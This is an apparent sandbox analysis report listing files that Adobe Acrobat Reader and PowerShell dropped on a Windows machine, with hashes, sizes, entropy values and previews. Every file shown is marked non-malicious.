SSDEEP:	6:YEQXJ2HXhcIQci3CT2vB3/dVlPIHAR0YqWX6qoAvJfbPtdPeUkwRe9:YvXKXKtci3W2vR/ZwHAuQ6ZGDV8Ukee9
MD5:	03FECB6D0A1AB72BCA57C1D8DCFBF2E7
SHA1:	246D3D1E9AE923CE604F407B957D6582828AFCFE
SHA-256:	262FA817719AD3FF2050A9A5BDCEBF688F64CCC72BB49CE06AC7CFD020434FE8
SHA-512:	0B9E98E2DF94E08B251F5B2798F839C90704FC2E1513DCCCCEDFBD4F0366D1550E154A65A07F7063263812D190BDC644F996BEBBBEEE293F50BE2ACFFD542304
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"52773229-59d1-433a-955c-b335ba74f49a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708327215,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2820289997507865
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhcIQci3CT2vB3/dVlPIHAR0YqWX6qoAvJf21rPeUkwRe9:YvXKXKtci3W2vR/ZwHAuQ6ZG+16Ukee9
MD5:	56AA005D06F817E4D154A6136C3EFDEE
SHA1:	9275B74EAB319765B2D84504A22EEB54CF432EA6
SHA-256:	188039EDB3D42442B57E3B654EFB7024AAE6EDAA6A7871B224E1F099A865E38F
SHA-512:	D75C9813D919497AE978B963A36A15E68511FD4CCE6DA8142EAB64446904B6D8215DFF9C0EF50EE2402ED6CD38BE5E60B59A38CAB6AE968BE9A7B54FF9144BC7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"52773229-59d1-433a-955c-b335ba74f49a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708327215,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667831930660029
Encrypted:	false
SSDEEP:	24:Yv6XKth3W2Jh0iamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSIY:YvFDlJh9BgkDMUJUAh8cvMl
MD5:	3D3212B5DFD0961CA4B10ADFFDDF2AC7
SHA1:	5B9662CBE7C2A674125B91AE48521A61839E72F9
SHA-256:	26BA087D662136F6E40F246A2398B4B229B7881C656B36BA124976275FF7C575
SHA-512:	FE997D07B4A32FB87C5C06337724A0777F0F8F7D9FB3FFBE45AE2E6F7822826C96A6B5E95B8D4AF8AE9861A053F302015CF1F6E254083582E4C283D101050ACD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"52773229-59d1-433a-955c-b335ba74f49a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708327215,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.256739493868224
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhcIQci3CT2vB3/dVlPIHAR0YqWX6qoAvJfshHHrPeUkwRe9:YvXKXKtci3W2vR/ZwHAuQ6ZGUUUkee9
MD5:	71F313159257C8B465A9957DDFEC9A0B
SHA1:	FA23B090EF0DFED5BD057407445F917F7B2AF438
SHA-256:	A4AEAD01BBB135C994F3A492C8178E0EB7DEC40EAD0CE03559DAA79E7C4B0D10
SHA-512:	5A647289F567CBA798CFD31229DE556933C6F07864683A9005B70BAFCFEB999BFE84A938F111A3DA73B3A0B6B7AC2BD0296DDD614F1E2854CB60AD60ABC4700E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"52773229-59d1-433a-955c-b335ba74f49a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708327215,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.272395328442852
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhcIQci3CT2vB3/dVlPIHAR0YqWX6qoAvJTqgFCrPeUkwRe9:YvXKXKtci3W2vR/ZwHAuQ6ZGTq16Uke6
MD5:	54C66EF5B0FCE73A644B6EBADFC95846
SHA1:	980B78D5095D3F875A00FB6B94E80BDF11EE5F9E
SHA-256:	33DBC0D172E58EF651720D46BE352ACD7FDA8866203C3AF31805EBA9FD4A89C1
SHA-512:	AA8D4D29A815F7DB91CFCDCFD59AE41B986FFD60842C115A81143938C22EB5DBF692821A4A0E5507585924E58B3D0D0B3A8AA6156D4E0A07DA240A5972FCAC3F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"52773229-59d1-433a-955c-b335ba74f49a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708327215,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.146055250715605
Encrypted:	false
SSDEEP:	48:YbQSqHRJ0ZY9u6GvfmrR5aess6JZO7h9A:frRJ19zGGrRk+7/A
MD5:	38FF3F4C6CFFB42495F889B1D0ABAA40
SHA1:	0CE4EFDA123AEFE676D4530AA1B7474B13CB9AFD
SHA-256:	C6CE1B8FADC6B33572F9D8534FFD584A56A550372F0FF6586EAB22129B4BDE56
SHA-512:	698FBB98540E864579B2C6FC5E4786F7E9B7717BDEB0F0133EC3CD46A9F9F6AC0B81B02A5A609875F1059850DA0F2741D83A0A6A5C982CE3E36E8C21C1B1F4E8
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4894795b8d550b691186c888e304475d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736529782000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"235f1702559184dbeeaace69f91199a3","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736529782000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"747ba226fd4a7cce472b7ad61b81241f","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736529782000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"021e7364e5c7dbf19c6567430beb00c9","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736529782000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"272271d3f314184803ee7aba84e6727e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736529781000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"97d09363fe867e130e41a0ca32ee717b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.318483612191033
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeKz0tqVp:TGufl2GL7ms9WR1CPmPbPahKSypilIQU
MD5:	ECAE70D30F01489A232A36AE94505647
SHA1:	8307A62B99B9E72D5616DE9E081312BA6E12AF63
SHA-256:	53E28463AED89DAF76A74036F2AD306D8D9EBC73D427E3C9DF5BBCA9887C48C5
SHA-512:	47B4286BBF7260FF36E768D5430C81B53CE9D4BC97F076C3F3FB08CC74D7495DC796A5A21A0EF7EFB82C0609EEBFBDC090C0F7FD1B5756203B98A0AB127CE82F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.781116242411867
Encrypted:	false
SSDEEP:	48:7MXqWR1CPmPbPahKTypilINqFl2GL7ms3:7OqWfMwbPahKTUKVms3
MD5:	6D6FF79ADDA642D523AC88F65A78D4EA
SHA1:	84DD6FC9DC46807568BC5398DFD818CD6C6FDF6B
SHA-256:	CBA060181E41E4309CB9F391A600A288E28446C452C68F464C6076D3575E2D46
SHA-512:	22B2307B56A8B5732A7D6EEF9F14BD92AB442CC53D6A9B379D6528FF728C49EACEA074F6D73BBD5AA97F291287B26C5A935D1CC9A839051905E7ABF83308673F
Malicious:	false
Preview:	.... .c......q%...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgy1M9xT7qrc1/dB9g9vvuUdCTVYyu:6a6TZ44ADEy1M9x/qg1leRuVK
MD5:	DC02E897B8503058E5EA45DAF30D1F95
SHA1:	878594BD47977193A57BAD2B3267308C2BC46477
SHA-256:	D5BEF9BFCA235A9C92004CA8B095B192519B5CEE1A36A4BA77F255D1DFC37480
SHA-512:	78CF298DDB1CA6DAC8BE1B7D8FCC97AAE4E27E7FB79C6DD731BC03C3DF1520CB1E38252C69212839785B51C97D8BFE7E26F36117BA4760D24E604B96E2E16A0F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI8c26b.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.488809521505088
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3eH:Qw946cPbiOxDlbYnuRK+bD3eH
MD5:	824D799319485865014DB18407B7A939
SHA1:	DF2CCD8E70C753C1638D2087551094294F832E13
SHA-256:	A2048088279A465BC3042AFDD613F1C9F6CF2CD5D00E4C4A38ED6D855CB823B5
SHA-512:	08C754922C52F1D6753BC2ADAEF9D4481AF330F033504F77A101798E46E4D22537D822692686A2B3C31BFC6CE3C841E21BA826603662CFD9304318FD0E98EE53
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.2.3.:.0.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_djue2yjy.l32.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vtr2eucy.t3x.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-22-53-665.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15113
Entropy (8bit):	5.357952853685297
Encrypted:	false
SSDEEP:	384:K3JGhH85VUJ7E+sdCQg1ZafVG3n3z+m5TQ/7Mk0DuN2FO73go7Hf656fSqp7oFlx:kSd
MD5:	F72D5BC465F810CB628C1156D53855EB
SHA1:	B52B55BE2184B7C13CE5465A1ED20BA9361701AE
SHA-256:	5485D6887E716A09BE0A079930C2614FC8961964357A09FD919732E7D6128317
SHA-512:	B51180EAD81B4E1AF36BA679457CC668BDAF0E36F2C2329139AD1C3D046FEE16FEE09E42B8B15B67DF8F786368E5F95DD4A9D7E46CAAF0686F29EF8949AD7116
Malicious:	false
Preview:	SessionID=34763a0c-c7bd-4e80-9726-e7bcf967d690.1736529773757 Timestamp=2025-01-10T12:22:53:757-0500 ThreadID=4648 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=34763a0c-c7bd-4e80-9726-e7bcf967d690.1736529773757 Timestamp=2025-01-10T12:22:53:759-0500 ThreadID=4648 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=34763a0c-c7bd-4e80-9726-e7bcf967d690.1736529773757 Timestamp=2025-01-10T12:22:53:759-0500 ThreadID=4648 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=34763a0c-c7bd-4e80-9726-e7bcf967d690.1736529773757 Timestamp=2025-01-10T12:22:53:759-0500 ThreadID=4648 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=34763a0c-c7bd-4e80-9726-e7bcf967d690.1736529773757 Timestamp=2025-01-10T12:22:53:759-0500 ThreadID=4648 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.401504344040081
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cb23cb8rIyYcbt:ceo4+rsCkVcyL
MD5:	1884198CFF8A811D18F8806DB2694DDE
SHA1:	23A290DEB5EB5B5531C0619075958D7CA1AB6A94
SHA-256:	194E3A78957C170A67CCC3D11887A8EF7671E2A4851511772FD04A421E0625CD
SHA-512:	18B5C1B8B9ED04C94894BA2F4A0EC18980D36B80662882F0A4578E9FD7A8060641095420A4E6115816BB348239C683AC774E6E59679E4A6C3069D18793925FE5
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0a7f5cf8-2835-48bb-b731-773d69bb0b48.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\1a828a7f-594b-4328-afcb-2007611c6dd1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\30cce6c8-82e9-4fde-8ff1-6d7435b1d3cd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
